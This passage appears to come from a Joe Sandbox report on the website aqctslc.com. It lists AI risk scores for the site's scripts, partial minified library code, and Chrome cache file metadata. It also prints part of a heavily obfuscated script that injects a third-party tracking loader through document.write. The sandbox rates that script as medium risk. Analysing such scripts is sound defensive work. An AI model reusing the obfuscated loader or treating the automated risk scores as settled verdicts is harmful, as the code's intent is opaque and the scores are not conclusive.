i=parseInt(parts[0],10);if(i.toString()===parts[0]){index=parts[0];msg=parts[1]}else{index=-1;msg=resp.msg}}}catch(e){index=-1;msg=resp.msg}}if(settings.language!=="en"&&$.ajaxChimp.responses[msg]!==undefined&&$.ajaxChimp.translations&&$.ajaxChimp.translations[settings.language]&&$.ajaxChimp.translations[settings.language][$.ajaxChimp.responses[msg]]){msg=$.ajaxChimp.translations[settings.language][$.ajaxChimp.responses[msg]]}label.html(msg);label.show(2e3);if(settings.callback){settings.callback(resp)}}var data={};var dataArray=form.serializeArray();$.each(dataArray,function(index,item){data[item.name]=item.value});$.ajax({url:url,data:data,success:successCallback,dataType:"jsonp",error:function(resp,text){console.log("mailchimp ajax submit error: "+text)}});var submitMsg="Submitting...";if(settings.language!=="en"&&$.ajaxChimp.translations&&$.ajaxChimp.translations[settings.language]&&$.ajaxChimp.translations[settings.language]["submit"]){submitMsg=$.ajaxChimp.translations[settings.language]["submit"]}label.html(submitMsg).show(2e3);return false})});return this}})(jQuery);
URL: https://aqctslc.com/themes/static/js/bootstrap.bun... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be the source code for the Bootstrap 5.0.0-beta1 library, which is a widely used and trusted open-source front-end framework. The code does not contain any high-risk indicators, such as dynamic code execution, data exfiltration, or redirects to malicious domains. The code is primarily focused on providing utility functions and event handling for the Bootstrap framework, which is a legitimate and commonly used library. Therefore, this script is considered low risk." }
/! Bootstrap v5.0.0-beta1 (https://getbootstrap.com/) * Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) / !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t\|\|self).bootstrap=e()}(this,(function(){"use strict";function t(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function e(e,n,i){return n&&t(e.prototype,n),i&&t(e,i),e}function n(){return(n=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}function i(t,e){t.prototype=Object.create(e.prototype),t.prototype.constructor=t,t.__proto__=e}var o,r,s=function(t){do{t+=Math.floor(1e6Math.random())}while(document.getElementById(t));return t},a=function(t){var e=t.getAttribute("data-bs-target");if(!e\|\|"#"===e){var n=t.getAttribute("href");e=n&&"#"!==n?n.trim():null}return e},l=function(t){var e=a(t);return e&&document.querySelector(e)?e:null},c=function(t){var e=a(t);return e?document.querySelector(e):null},u=function(t){if(!t)return 0;var e=window.getComputedStyle(t),n=e.transitionDuration,i=e.transitionDelay,o=Number.parseFloat(n),r=Number.parseFloat(i);return o\|\|r?(n=n.split(",")[0],i=i.split(",")[0],1e3(Number.parseFloat(n)+Number.parseFloat(i))):0},f=function(t){t.dispatchEvent(new Event("transitionend"))},d=function(t){return(t[0]\|\|t).nodeType},h=function(t,e){var n=!1,i=e+5;t.addEventListener("transitionend",(function e(){n=!0,t.removeEventListener("transitionend",e)})),setTimeout((function(){n\|\|f(t)}),i)},p=function(t,e,n){Object.keys(n).forEach((function(i){var o,r=n[i],s=e[i],a=s&&d(s)?"element":null==(o=s)?""+o:{}.toString.call(o).match(/\s([a-z]+)/i)[1].toLowerCase();if(!new RegExp(r).test(a))throw new Error(t.toUpperCase()+': Option "'+i+'" provided type "'+a+'" but expected type "'+r+'".')}))},g=function(t){if(!t)return!1;if(t.style&&t.parentNode&&t.parentNode.style){var e=getComputedStyle(t),n=getComputedStyle(t.parentNode);return"none"!==e.display&&"none"!==n.display&&"hidden"!==e.visibility}return!1},m=function(){return function(){}},v=function(t){return t.offsetHeight},_=function(){var t=window.jQuery;return t&&!document.body.hasAttribute("data-bs-no-jquery")?t:null},b=function(t){"loading"===document.readyState?document.addEventListener("DOMContentLoaded",t):t()},y="rtl"===document.documentElement.dir,w=(o={},r=1,{set:function(t,e,n){void 0===t.bsKey&&(t.bsKey={key:e,id:r},r++),o[t.bsKey.id]=n},get:function(t,e){if(!t\|\|void 0===t.bsKey)return null;var n=t.bsKey;return n.key===e?o[n.id]:null},delete:function(t,e){if(void 0!==t.bsKey){var n=t.bsKey;n.key===e&&(delete o[n.id],delete t.bsKey)}}}),E=function(t,e,n){w.set(t,e,n)},T=function(t,e){return w.get(t,e)},k=function(t,e){w.delete(t,e)},O=/[^.](?=\..)\.\|./,L=/\..*/,A=/::\d+$/,C={},D=1,x={mouseenter:"mouseover",mouseleave:"mouseout"},S=new Set(["click","dblclick","mouseup","mousedown","contextmenu","mousewheel","DOMMouseScroll","mouseover","mouseout","mousemove","selectstart","selectend","keydown","keypress","keyup","orientationchange","touchstart","touchmove","touchend","touchcancel","pointerdown","pointermove","pointerup","pointerleave","pointercancel","gesturestart","gesturechange","gestureend","focus","blur","change","reset","select","submit","focusin","focusout","load","unload","beforeunload","resize","move","DOMContentLoaded","readystatechange","error","abort","scroll"]);function j(t,e){return e&&e+"::"+D++\|\|t.uidEvent\|\|D++}function N(t){var e=j(t);return t.uidEvent=e,C[e]=C[e]\|\|{},C[e]}function I(t,e,n){void 0===n&&(n=null);for(var i=Object.keys(t),o=0,r=i.length;o<r;o++){var s=t[i[o]];if(s.originalH
URL: https://aqctslc.com/themes/static/js/odometer.min.... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The provided JavaScript snippet appears to be a part of the 'odometer' library, which is a commonly used library for creating animated number counters on web pages. While the code contains some potentially risky behaviors, such as using the `eval()` function and manipulating the DOM aggressively, these are likely part of the library's functionality and not indicative of malicious intent. Additionally, the code does not appear to be obfuscated or attempt to exfiltrate sensitive data. Overall, the risk score is in the medium range, as the code requires further review to ensure it is being used in a legitimate context." }
/! odometer 0.4.8 / (function(){var a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,A,B,C,D,E,F,G=[].slice;q='<span class="odometer-value"></span>',n='<span class="odometer-ribbon"><span class="odometer-ribbon-inner">'+q+"</span></span>",d='<span class="odometer-digit"><span class="odometer-digit-spacer">8</span><span class="odometer-digit-inner">'+n+"</span></span>",g='<span class="odometer-formatting-mark"></span>',c="(,ddd).dd",h=/^$?([^)])$?(?:(.)(d+))?$/,i=30,f=2e3,a=20,j=2,e=.5,k=1e3/i,b=1e3/a,o="transitionend webkitTransitionEnd oTransitionEnd otransitionend MSTransitionEnd",y=document.createElement("div").style,p=null!=y.transition\|\|null!=y.webkitTransition\|\|null!=y.mozTransition\|\|null!=y.oTransition,w=window.requestAnimationFrame\|\|window.mozRequestAnimationFrame\|\|window.webkitRequestAnimationFrame\|\|window.msRequestAnimationFrame,l=window.MutationObserver\|\|window.WebKitMutationObserver\|\|window.MozMutationObserver,s=function(a){var b;return b=document.createElement("div"),b.innerHTML=a,b.children[0]},v=function(a,b){return a.className=a.className.replace(new RegExp("(^\| )"+b.split(" ").join("\|")+"( \|$)","gi")," ")},r=function(a,b){return v(a,b),a.className+=" "+b},z=function(a,b){var c;return null!=document.createEvent?(c=document.createEvent("HTMLEvents"),c.initEvent(b,!0,!0),a.dispatchEvent(c)):void 0},u=function(){var a,b;return null!=(a=null!=(b=window.performance)&&"function"==typeof b.now?b.now():void 0)?a:+new Date},x=function(a,b){return null==b&&(b=0),b?(a=Math.pow(10,b),a+=.5,a=Math.floor(a),a/=Math.pow(10,b)):Math.round(a)},A=function(a){return 0>a?Math.ceil(a):Math.floor(a)},t=function(a){return a-x(a)},C=!1,(B=function(){var a,b,c,d,e;if(!C&&null!=window.jQuery){for(C=!0,d=["html","text"],e=[],b=0,c=d.length;c>b;b++)a=d[b],e.push(function(a){var b;return b=window.jQuery.fn[a],window.jQuery.fn[a]=function(a){var c;return null==a\|\|null==(null!=(c=this[0])?c.odometer:void 0)?b.apply(this,arguments):this[0].odometer.update(a)}}(a));return e}})(),setTimeout(B,0),m=function(){function a(b){var c,d,e,g,h,i,l,m,n,o,p=this;if(this.options=b,this.el=this.options.el,null!=this.el.odometer)return this.el.odometer;this.el.odometer=this,m=a.options;for(d in m)g=m[d],null==this.options[d]&&(this.options[d]=g);null==(h=this.options).duration&&(h.duration=f),this.MAX_VALUES=this.options.duration/k/j\|0,this.resetFormat(),this.value=this.cleanValue(null!=(n=this.options.value)?n:""),this.renderInside(),this.render();try{for(o=["innerHTML","innerText","textContent"],i=0,l=o.length;l>i;i++)e=o[i],null!=this.el[e]&&!function(a){return Object.defineProperty(p.el,a,{get:function(){var b;return"innerHTML"===a?p.inside.outerHTML:null!=(b=p.inside.innerText)?b:p.inside.textContent},set:function(a){return p.update(a)}})}(e)}catch(q){c=q,this.watchForMutations()}}return a.prototype.renderInside=function(){return this.inside=document.createElement("div"),this.inside.className="odometer-inside",this.el.innerHTML="",this.el.appendChild(this.inside)},a.prototype.watchForMutations=function(){var a,b=this;if(null!=l)try{return null==this.observer&&(this.observer=new l(function(a){var c;return c=b.el.innerText,b.renderInside(),b.render(b.value),b.update(c)})),this.watchMutations=!0,this.startWatchingMutations()}catch(c){a=c}},a.prototype.startWatchingMutations=function(){return this.watchMutations?this.observer.observe(this.el,{childList:!0}):void 0},a.prototype.stopWatchingMutations=function(){var a;return null!=(a=this.observer)?a.disconnect():void 0},a.prototype.cleanValue=function(a){var b;return"string"==typeof a&&(a=a.replace(null!=(b=this.format.radix)?b:".","<radix>"),a=a.replace(/[.,]/g,""),a=a.replace("<radix>","."),a=parseFloat(a,10)\|\|0),x(a,this.format.precision)},a.prototype.bindTransitionEnd=function(){var a,b,c,d,e,f,g=this;if(!this.transitionEndBound){for(this.transitionEndBound=!0,b=!1,e=o.split(" "),f=[],c=0,d=e.length;d>c;c++)a=e[c],f.push(this.el.addEventListener(a,function(){return b?!0:(b=!0,setTimeout(function(){
URL: https://aqctslc.com/jzwkqucn.js... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet exhibits several behaviors that raise moderate to high security concerns. It includes the following indicators: 1. Dynamic Code Execution (+3 points): The script uses `document.write()` to dynamically insert another script tag, which can lead to the execution of remote or obfuscated code. 2. External Data Transmission (+2 points): The script sends data to the `51.la` domain, which appears to be a third-party analytics or tracking service, without clear transparency. 3. Obfuscated Code/URLs (+3 points): The script contains heavily obfuscated code, making it difficult to understand its true purpose and intent. While the script may be intended for legitimate analytics or tracking purposes, the use of dynamic code execution and obfuscation raises concerns about potential malicious behavior. Further investigation would be needed to determine the trustworthiness of the `51.la` domain and the overall purpose of the script. Overall, the risk score is assessed as 6, indicating a medium risk level that requires further review and analysis." }
document.write("<script>!function(p){\"use strict\";!function(t){var s=window,e=document,i=p,c=\"\".concat(\"https:\"===e.location.protocol?\"https://\":\"http://\",\"sdk.51.la/js-sdk-pro.min.js\"),n=e.createElement(\"script\"),r=e.getElementsByTagName(\"script\")[0];n.type=\"text/javascript\",n.setAttribute(\"charset\",\"UTF-8\"),n.async=!0,n.src=c,n.id=\"LA_COLLECT\",i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&&o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:\"KQGOswWUPTJRCryv\",ck:\"KQGOswWUPTJRCryv\"});</script>") var _0xod6='jsjiami.com.v7';var _0x4cd701=_0x50be;(function(_0x182b85,_0x40b41c,_0x4eab72,_0x291405,_0x457e6e,_0x593005,_0x30e5a8){return _0x182b85=_0x182b85>>0x9,_0x593005='hs',_0x30e5a8='hs',function(_0x365806,_0x5c3ae2,_0x2e8eae,_0x2f5f51,_0x554e07){var _0x271ef1=_0x50be;_0x2f5f51='tfi',_0x593005=_0x2f5f51+_0x593005,_0x554e07='up',_0x30e5a8+=_0x554e07,_0x593005=_0x2e8eae(_0x593005),_0x30e5a8=_0x2e8eae(_0x30e5a8),_0x2e8eae=0x0;var _0x52cdee=_0x365806();while(!![]&&--_0x291405+_0x5c3ae2){try{_0x2f5f51=-parseInt(_0x271ef1(0x15d,'TWBe'))/0x1(-parseInt(_0x271ef1(0x160,'%J@P'))/0x2)+-parseInt(_0x271ef1(0x168,'HsjG'))/0x3+-parseInt(_0x271ef1(0x14d,'(Z!d'))/0x4(-parseInt(_0x271ef1(0x147,'44c('))/0x5)+-parseInt(_0x271ef1(0x16d,'TWBe'))/0x6+parseInt(_0x271ef1(0x146,'buZe'))/0x7+parseInt(_0x271ef1(0x14f,'trgm'))/0x8+parseInt(_0x271ef1(0x157,'PCO'))/0x9(parseInt(_0x271ef1(0x15a,'8Fw&'))/0xa);}catch(_0x3ab5ec){_0x2f5f51=_0x2e8eae;}finally{_0x554e07=_0x52cdee[_0x593005]();if(_0x182b85<=_0x291405)_0x2e8eae?_0x457e6e?_0x2f5f51=_0x554e07:_0x457e6e=_0x554e07:_0x2e8eae=_0x554e07;else{if(_0x2e8eae==_0x457e6e['replace'](/[VGFyBWeUgDndhfAkREK=]/g,'')){if(_0x2f5f51===_0x5c3ae2){_0x52cdee['un'+_0x593005](_0x554e07);break;}_0x52cdee[_0x30e5a8](_0x554e07);}}}}}(_0x4eab72,_0x40b41c,function(_0x4a7b3b,_0x2aba64,_0x120f45,_0x49bb93,_0x3e9976,_0x62e1d4,_0x2ee119){return _0x2aba64='\x73\x70\x6c\x69\x74',_0x4a7b3b=arguments[0x0],_0x4a7b3b=_0x4a7b3b[_0x2aba64](''),_0x120f45='\x72\x65\x76\x65\x72\x73\x65',_0x4a7b3b=_0x4a7b3b[_0x120f45]('\x76'),_0x49bb93='\x6a\x6f\x69\x6e',(0x191ebb,_0x4a7b3b[_0x49bb93](''));});}(0x18a00,0x41332,_0x5698,0xc7),_0x5698)&&(_0xod6=0xc7);function _0x5698(){var _0x564c04=(function(){return[_0xod6,'WEjfskyfjRDinami.kdhcGWAomdU.kFvge7VBKVR==','WQdcSCoWWOXKWP5eqG','WOaAW4zR','bH4gobbpW6i','FXOFW6ddL19DWOvAWOldTfi','k0rbWRxcGr1YWRe','jh7cHKNdQq','W6z5W6vYWQZcP8of','WQfgW6T2WP4','W6xcGwC7fmoQW5q','WPu0duzSoxNdVSkqWPlcIGW','W57dKhFdOmo1W5XxF8kIW43cVb3dOq','n0pcJZ8sexCaWOdcN1b6','WQpcT8kNW7XDWOH+sfKiemkHjJRcQ0HComovW6ldSdyN','W4i4WRTN'].concat((function(){return['W5ZdL8kTW4tcVum','W5VdTu9FDq','D03cVbf+W4qWWQuXhmkrEICExCoYwWFcGMpdVqbIWQhdPSocW5tdI8ojFMrRDHBcGSotqmkTWPxdLCozaWNdS8o/WR1qW5FcOMjfpmkJW4WheZBdUN7dKGbBWQBcNJ5Sscbxys9XvCoLWPVcG8oUct/dRCkSW7D+W7zhWR3dQW','A8oUemo/WOiCW7lcS8oaWRDLWQ7dNa','W6FdQSkuv8oUgSkfWOu','rxVcGvpdVZrreb4','W5qKWR10WR4','mSo6W5e','W6akWQaQW4RdG8kUEuRdICokCSoI','W7lcTgpcT8oJk8k/W6e','WQVcJ00eaWtdNCoPamkSCSo8sG','W5O0W497W5pcPW','WODGWPqTWPBdVCkOWOnSvNtcQ0a','W7lcSIddKSo0pCk9W4qBqG','xSo0cNhcKG','WQldLSkuWRzBtxFcHSoyiSkKWRldTbXRW6tdTSkZsuj8W5PjWPpcJCoB'].concat((function(){return['EmoGh8oGW5XjWRtcSCojWPe9W7hcQ8ocW4OjW5/dUGS3hwC9WPFdLmkSW4rwWQNdOSoGcMtcPmkrW4WOa8k6W7JcK3uQWRVcRvuRCXG+eCk/W6S6WO4+fXRcIMemvNGLjSonbNhdJSkQW6FdO8oNl8oPW6bGW7mymmoBW4K8mfCiqahdVdVdKetcMhlcTmkheCkZivL8qmoRW6WQurVdNmkJn0hdMSoKWQBdJSoTs8onmrek','oMDAy8omyr/dGCkIW77cOc/dJri','W7BdS31HBG','x0XAb2r0W4C0cq','fKKOD8oIl8oIreOQWO8GjG','BSkrWQ3dNmkaWOpcISo6oCk1vWn3','mCkOW70+p0hcOsGRW7PMWR83vq1rEuKD','WRXDW7W','WRpdMwaPmmkDW7hcIa','WPRdVCk0W4JcHxPG','fqzL','WQ7dI8kw','CtdcTJtcU8o8W4S'];}()));}()));}());_0x5698=function(){return _0x564c04;};return _0x5698();}function _0x50be(_0x24b18d,_0x542ad7){var _0x5698d5=_0x5698();return _0x50be=function(_0x50be20,_0x2c77af){_0x50be20=_0x50be20-0x146;var _0x333af2=_0x5698d5[_0x50be20];if(_0x50be['TEhHsA']===undefined){var _0x2f13c1=function(_0x5647f6){var _0x1
URL: https://aqctslc.com/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://aqctslc.com/themes/static/js/jquery.min.js... Model: Joe Sandbox AI	```json { "risk_score": 1, "reasoning": "The provided JavaScript snippet is a part of the jQuery library, which is a widely used and reputable open-source library for DOM manipulation and event handling. It does not exhibit any high-risk behaviors such as dynamic code execution, data exfiltration, or redirects to malicious domains. The code is not obfuscated and does not interact with external domains in a suspicious manner. Therefore, it is considered low risk." }
/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var f="3.5.1",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n\|\|0===t\|\|"number"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]\|\|{},s++),"object"==typeof a\|\|m(a)\|\|(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)\|\|(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i\|\|S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:y}),"function"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,v,s,c,y,S="sizzle"+1*new Date,p=n.document
URL: https://aqctslc.com/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (4037), with no line terminators
Category:	dropped
Size (bytes):	4037
Entropy (8bit):	5.2147243752845185
Encrypted:	false
SSDEEP:	48:RQN+y5vtMVu8EdavVlmyNAMhgL+up8zqmtwmynMETYMCCdypRa0G6W75Vroe7N+7:W/xuvgTquqdtwmjUFyi0GR5Vvoym
MD5:	9090D40F712CFDEA381B16A6E24586A8
SHA1:	D1C5C2C00F3D050E219733D2EB57DCF3E9490330
SHA-256:	B9A83D35B5B2869B3CBB9ACEA2CFE0430FEEBDE8B9560265513DEC344AC1B78C
SHA-512:	D5A9AD7DB959377C8C312DE9F50DD5CA75E39C5E7BBABF059188BE3C4AF6125AD7DE4F0ACC290E0B6815D32CD3306027020BE59FA5E82E284CEE83F0400059E8
Malicious:	false
Reputation:	low
Preview:	!function($){"use strict";$.fn.meanmenu=function(e){var n={meanMenuTarget:jQuery(this),meanMenuContainer:".yango-responsive-menu",meanMenuClose:"X",meanMenuCloseSize:"18px",meanMenuOpen:"<span /><span /><span />",meanRevealPosition:"right",meanRevealPositionDistance:"0",meanRevealColour:"",meanScreenWidth:"480",meanNavPush:"",meanShowChildren:!0,meanExpandableChildren:!0,meanExpand:"+",meanContract:"-",meanRemoveAttrs:!1,onePage:!1,meanDisplay:"block",removeElements:""};e=$.extend(n,e);var a=window.innerWidth\|\|document.documentElement.clientWidth;return this.each(function(){var n=e.meanMenuTarget,t=e.meanMenuContainer,r=e.meanMenuClose,i=e.meanMenuCloseSize,s=e.meanMenuOpen,u=e.meanRevealPosition,m=e.meanRevealPositionDistance,l=e.meanRevealColour,o=e.meanScreenWidth,c=e.meanNavPush,v=".meanmenu-reveal",h=e.meanShowChildren,d=e.meanExpandableChildren,y=e.meanExpand,j=e.meanContract,Q=e.meanRemoveAttrs,f=e.onePage,g=e.meanDisplay,p=e.removeElements,C=!1;(navigator.userAgent.match(/iPhon

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (847), with CRLF line terminators
Category:	downloaded
Size (bytes):	1019
Entropy (8bit):	5.2321422588714475
Encrypted:	false
SSDEEP:	24:3t/1mnLtetOFRzuZiqMdhuzTqgfkPH2nouoKLn7tk8:3x4np88RSZiqMAqgfW8L9d
MD5:	F13C9109B79EF93C06E22C3542625B72
SHA1:	424A8746184AE7D2BE69197CFD9B3C4032238837
SHA-256:	33DBCF6A027199FAB7BCA71CE31C80154051A658F69EF98E7DDAD581FEFAE1AA
SHA-512:	7CD94029C79A246846C89DFA82244334FBE284D86863989D69DD96D54F9D9C33231D8048F647A7A9C94810EA8B618314DD579A528AE2F9461F290490434A10C4
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/css/owl.theme.default.min.css
Preview:	/*.. Owl Carousel v2.3.4.. * Copyright 2013-2018 David Deutsch.. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE.. /.. .owl-theme .owl-dots,.owl-theme .owl-nav{text-align:center;-webkit-tap-highlight-color:transparent}.owl-theme .owl-nav{margin-top:10px}.owl-theme .owl-nav [class=owl-]{color:#FFF;font-size:14px;margin:5px;padding:4px 7px;background:#D6D6D6;display:inline-block;cursor:pointer;border-radius:3px}.owl-theme .owl-nav [class*=owl-]:hover{background:#869791;color:#FFF;text-decoration:none}.owl-theme .owl-nav .disabled{opacity:.5;cursor:default}.owl-theme .owl-nav.disabled+.owl-dots{margin-top:10px}.owl-theme .owl-dots .owl-dot{display:inline-block;zoom:1}.owl-theme .owl-dots .owl-dot span{width:10px;height:10px;margin:5px 7px;background:#D6D6D6;display:block;-webkit-backface-visibility:visible;transition:opacity .2s ease;border-radius:30px}.owl-theme .owl-dots .owl-dot.active span,.owl-theme .owl-dots .owl-dot:hover span{

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality", baseline, precision 8, 1080x720, components 3
Category:	downloaded
Size (bytes):	85420
Entropy (8bit):	7.923413864131446
Encrypted:	false
SSDEEP:	1536:OhOpbHJIh8qMBx/draHKqIfGUY9UHe0ayi63bRXmO0N3bppvx5:CYLBxhUKqIfGIHe0aVKHo3Lp5
MD5:	DAD4C82E732F06B3C353AAB1366D40CB
SHA1:	E5B1887E6EBDC4D83A5205EAC687B2EB462CAE43
SHA-256:	5C316389073361E73E6BFB6B1E8915A59C6BFF2EF5F8A593B4757927F86E9ACB
SHA-512:	F22F1E8E5BA947A342ADAFC073A20D1802DCF6E19A5421684F942F65CF14A31FA66D56FA87A1B9F2FF305674D263DE2441356ABE055A8C3EB9F07AA3AE61D94D
Malicious:	false
Reputation:	low
URL:	https://imagesspace.hks3.layerstackobjects.com/images/img_678003721e3aa9.20406748.jpeg
Preview:	......JFIF.....H.H.....>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........8.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....O.=iB...`&).S.....`..)v.I...iK.S..H..H,3y..&...J..4.......M!..Q.iF..94.LQ..<..E.0..8r(.s@.4.O=)6..9...Z\R......i.8..f..xJ..P..N.iUO.(.....)..8.....)..i...!4...PV...M;i...<t..b...nh....dQ....b........4..o...jcL4.....i.P...S.<.(.h..h...F..f.......z.(...4.....I..."..S..h.3.PLR.@..&..dP.6.i..K.

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1113)
Category:	downloaded
Size (bytes):	88816
Entropy (8bit):	4.989037442625688
Encrypted:	false
SSDEEP:	1536:hpM6pbqXBxBVUZ8LevB/wKXPjB+Rgh3By1s9DB4xo5XBSV/jbPfD7IpI0OoOfOLW:hpM6eBKsyJ+GHD9TFvNCJhKT88nrRe
MD5:	5F20952D20C8273AC9ACA65A5A5CCAA0
SHA1:	E70A475EA37754F6509886EF9E06EFBDA6B618AB
SHA-256:	3A477B301972D7BBDF8357C83653DF75AFF86DF0793C8AFE663361AC41D02986
SHA-512:	EDBA8875AF07833B50F8C2F57872EE3287CB2D292E8D57CADD25CFD3756DFF5C8CA374AE7756F5D5736F3B21A1D9FD3112936BD016A93032FA45F8030484937B
Malicious:	false
Reputation:	low
URL:	https://aqctslc.com/themes/static/css/style.css
Preview:	/.@File: Yango Template Styles./../================================================.Default CSS.=================================================/.@import url("https://fonts.googleapis.com/css2?family=Nunito+Sans:ital,wght@0,200;0,300;0,400;0,600;0,700;0,800;0,900;1,200;1,300;1,400;1,600;1,700;1,800;1,900&display=swap");.@import url("https://fonts.googleapis.com/css2?family=Work+Sans:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap");..:root {. --fontFamily: 'Nunito Sans', sans-serif;. --headingFontFamily: 'Work Sans', sans-serif;. --mainColor: #E51938;. --optionalColor: #666666;. --whiteColor: #FFFFFF;. --blackColor: #000000;. --fontSize: 16px;. --transition: .5s;.}..body {. margin: 0;. padding: 0;. color: var(--blackColor);. font-size: var(--fontSize);. font-family: var(--fontFamily);.}...container {. max-width: 1230px;.}...h1, .h2, .h3, .h4, .h5, .h6, h1, h2, h3, h4, h5, h6 {. color:

Chrome Cache Entry: 104

Download File

